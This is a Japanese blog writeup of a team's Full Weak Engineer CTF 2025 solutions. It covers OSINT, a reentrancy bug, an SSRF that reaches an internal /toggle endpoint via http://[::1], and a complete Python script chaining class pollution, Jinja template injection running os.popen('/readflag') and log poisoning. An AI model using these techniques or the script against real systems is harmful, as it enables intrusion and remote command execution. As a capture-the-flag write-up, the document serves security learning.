4
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Full Weak Engineer CTF Writeup

Last updated at Posted at 2025-09-03

Full Weak Engineer CTF 2025 Writeup

チーム:ushig4i shamojiとして参加。
5位でした。めでたい。

image.png

チームで参加すると楽しいですね、いろんなチームで参加してみたい。
writeup遅刻常習犯。

[Forensic/OSINT] datamosh 106pts/294solve

データモッシュ作ってみた! けど、あれ? 普段のプレイヤーで再生できないな……。
I made a datamosh! But, oh no I can't play it in my normal player . . . .

0:07~0:00の動画データが渡される。編集されて反転しているのか?
Windowsに入っていた編集ソフトで読み込んでみる。

image.png

flagが確認できた。

fwectf{1s_D474M05hin9_R3vers!8le?}

[Forensic/OSINT] MYAKUMYAKU TOWER 260pts/76solve

ミャクミャクみたいなかわいいタワーがあるね!この写真を撮影したのはいつだろう? 
撮影日を以下の形式で答えてね(誤差±1日許容) 
Flag形式:fwectf{YYYMMDD} 例:2025年8月30日の場合 fwectf{20250830}

MYAKUMYAKU_TOWER.jpg

"みゃくみゃく 東京タワー"で検索して出てきた日付は違った。

"東京タワー 赤 青 白"で検索すると、それらしく投稿が複数見つかる。

2018/09/14でした。

[Forensic/OSINT] git predator 277pts/67solve

Oh no! While developing the game, I accidentally exposed an important key! 
I managed to delete one right away, but I still haven’t removed the other one… 
site:https://github.com/gitpreUwU/horse_racing

チームメンバーからほぼ答えを教えていただいた問題。

git repositoryの中に、flagが2つに分かれておりそれぞれ見つける問題。

1つ目はcommit履歴の1つにあり、容易に見つかる。

image.png

2つ目がどうしても見つからない。問題文的に最新のものに残っているのかなと思ったのだが…

実際は、Force pushされていたという。
repositoryの右にある、activetyの項目から参照可能。

image.png

気づかないが。

fwectf{y0u_ar3_g1t_pr3da70r!_78e0} 

[Misc] Adversarial Login 230pts/95solve

The strange mascot seems to be trying to impersonate its way out of the venue. Your mission is to intentionally confuse an AI. 
Take the provided image and, with the utmost subtlety, modify it just enough to make the classifier believe it's looking at a gibbon.

The server is shut down due to hardware spec.

みゃくみゃくの画像が与えられる。
サーバーに画像を提出すると、MobileNetV2モデルによって識別される。

MobileNetV2モデルとは、画像を分析しクラス分類するもの。
1000ものクラスがあるらしい。もっとあるのかな。

問題は、みゃくみゃくの画像をちょっとだけ修正し、ID:101(tusker)と分類されるような画像を提出したらflagが手に入る。
もとのみゃくみゃくの画像はID:101と分類されない。

ID:101と分類してくれるコードをAIくんに書いてもらう。

生成した画像をそのまま提出。

fwectf{1s_y0ur_br41n_d33p_l34rn1ng?}

こういうスクリプトって公開しない方がいいのだろうか。

[Misc] Save the Kappa 344pts/40solve

Kappa always swim in chains. However, due to a mysterious force, one kappa was swept away by the river. 
Rescue the kappa that was swept away and receive a treasure as a reward!

solidityと呼ばれる、イーサリアムのブロックチェーンを扱うプログラミング言語で実装している。
この言語、バージョンによって書き方全然違ったりするので苦手。(私怨)

解法として

  • 脆弱性: withdrawAllcall → 残高ゼロ化の順。再入可能。
  • 戦略: 攻撃コントラクトの receive()withdrawAll() を再帰呼び出しし、VulnerableBank のETHを枯渇させる。
  • 確認: Bank残高が0になったらメニューの 3 - get flag でフラグ取得。

[web] regex-auth 100pts/450solve

正規表現で認可制御をしてみました!

I tried implementing authorization control with regular expressions!
http://chal2.fwectf.com:8001/ 

適当な名前でログイン。
ログイン後、cookieの値を変更

if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE): 
        role = f"{FLAG}"
    else:
        role = "OTHER"

base64でエンコードされているので、デコードして、GUEST部分を消して、再度エンコード。
入力して、再読み込み

Welcome, aaa!

Your ID: 41850

Your role: fwectf{emp7y_regex_m47che5_every7h1ng}
Logout

[web] AED 127pts/232solve

Revive this broken heart!
  • コードの分析

アプリケーションのコード(index.ts)を分析すると、以下のことがわかる:

  1. アプリケーションは2つのサーバーを実行している:

    • ポート3000:メインアプリ
    • ポート4000:/toggleエンドポイントを持つ管理用アプリ
  2. フラグはFLAG変数に格納されており、pwned変数がtrueになると表示される。

const FLAG = process.env.FLAG ?? "fwectf{You_Won!_Sample_Flag}"
let pwned = false
  1. /toggleエンドポイントにアクセスするとpwnedtrueになるが、このエンドポイントはポート4000でのみアクセス可能。
app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})
  1. メインアプリには/fetchエンドポイントがあり、外部URLからコンテンツを取得できるが、localhost等の内部アドレスはブロックされる。
const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)
  • 手順

isAllowedURL関数に着目。この関数は特定のホスト名(localhost0.0.0.0127.0.0.1)をブロックしているが、IPv6表記の::1(localhostのIPv6表現)はブロックしていない。

  1. IPv6表記を使用して/toggleエンドポイントにアクセスし、pwnedフラグをtrueに設定:
http://5fd56e13afdf437f883418fc3889d3080.chal3.fwectf.com:8004/fetch?url=http://[::1]:4000/toggle
  1. メインページにアクセスしてフラグを表示:
http://5fd56e13afdf437f883418fc3889d3080.chal3.fwectf.com:8004/

image.png

[web] Personal Website 454pts/11solve

I made a customizable website (TODO: add more options)

readflag.cを実行させてできたflagを入手したらよい。

  • 設定反映API(/api/config)で任意深さの再帰マージが実行される
@app.post("/api/config")
@login_required
def config_api():
    try:
        if not request.json:
            raise Exception("Input is empty")
        User.merge_info(request.json, g.get("user"))
        return jsonify({"success": "Config updated"})
    except Exception as e:
        return jsonify({"error": str(e)})
  • 再帰マージの実装が“到達ガード”を深さカウンタ(depth)だけに依存
@staticmethod
def merge_info(src, user, *, depth=0):
    if depth > 3:
        raise Exception("Reached maximum depth")
    for k, v in src.items():
        if hasattr(user, "__getitem__"):
            if user.get(k) and type(v) == dict:
                User.merge_info(v, user.get(k),depth=depth+1)
            else:
                user[k] = v
        elif hasattr(user, k) and type(v) == dict:
            User.merge_info(v, getattr(user, k),depth=depth+1)
        else:
            setattr(user, k, v)

ここで、merge_info.__kwdefaults__['depth'] を負値(例: -1000)に上書きすると、最初の呼び出しの depth が大幅なマイナスからスタート。以後 depth+1 で増加しても「> 3」に達しにくく、通常は止まらずに深い属性(__globals__ や sys.modules)まで書き換え可能(“深さ制限の無効化”)。

  • テンプレート名とログの関係(ログ毒化の土台)
app = Flask(__name__, template_folder="./")
app.secret_key = os.urandom(32)
log_handler = logging.FileHandler("flask.log")
app.logger.addHandler(log_handler)

REGISTER_TEMPLATE = "templates/register.html"
LOGIN_TEMPLATE = "templates/login.html"
INDEX_TEMPLATE = "templates/index.html"
CONFIG_TEMPLATE = "templates/config.html"
  • INDEX_TEMPLATE はトップページのテンプレート名で、後述ルートで render_template(INDEX_TEMPLATE) に使われる。

  • ログは flask.log に出力される(カレントが /app なら実体は /app/flask.log)。アプリの例外は Flask により app.logger に記録され、テンプレート名も含めて出力される。

  • INDEX_TEMPLATE を実際に描画している箇所

@app.route("/")
@login_required
def index():
    return render_template(INDEX_TEMPLATE)

以下、スクリプト

# 最小ワンセル実行(HOST を環境に合わせて変更)
HOST = "http://b89940f063ab4c18939a14284b5190550.chal2.fwectf.com:8006"  # 例
USERNAME = "u"
PASSWORD = "p"

import requests
from urllib.parse import urljoin

s = requests.Session()

# 1) 登録→ログイン
s.post(urljoin(HOST, "/register"), data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False)
s.post(urljoin(HOST, "/login"),    data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False)

# ヘルパ
def post_config(payload: dict):
    return s.post(urljoin(HOST, "/api/config"), json=payload)

# 2) 深さ制限回避
post_config({"__class__": {"merge_info": {"__kwdefaults__": {"depth": -1000}}}})

# 3) FileSystemLoader の検索パスをルートに
post_config({
    "__class__": {"__init__": {"__globals__": {"dataclasses": {"sys": {"modules": {
        "app": {"app": {"jinja_loader": {"searchpath": ["/"]}}}
    }}}}}}
})

# 4) テンプレ名に Jinja ペイロードを注入(/readflag 実行をログに埋める)
marker_begin = "FLAG_BEGIN:"
marker_end = ":FLAG_END"
poison = {
    "__class__": {"__init__": {"__globals__": {"dataclasses": {"sys": {"modules": {
        "app": {"INDEX_TEMPLATE": f"x{marker_begin}{{{{ url_for.__globals__.os.popen('/readflag').read() }}}}{marker_end}.html"}
    }}}}}}
}
post_config(poison)

# 500 を2回出してログへ書かせる
for _ in range(2):
    s.get(urljoin(HOST, "/"))

# 5) ログをテンプレートに設定→取得→抽出
post_config({
    "__class__": {"__init__": {"__globals__": {"dataclasses": {"sys": {"modules": {
        "app": {"INDEX_TEMPLATE": "app/flask.log"}
    }}}}}}
})
resp = s.get(urljoin(HOST, "/"))
text = resp.text

start = text.rfind(marker_begin)
end = text.find(marker_end, start + len(marker_begin)) if start != -1 else -1
if start != -1 and end != -1:
    print("FLAG:", text[start + len(marker_begin):end].strip())
else:
    print("FLAG が見つかりません。もう一度実行してください。")

糸口がわかったあと、やってほしいことを生成AIに投げていました。

4
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?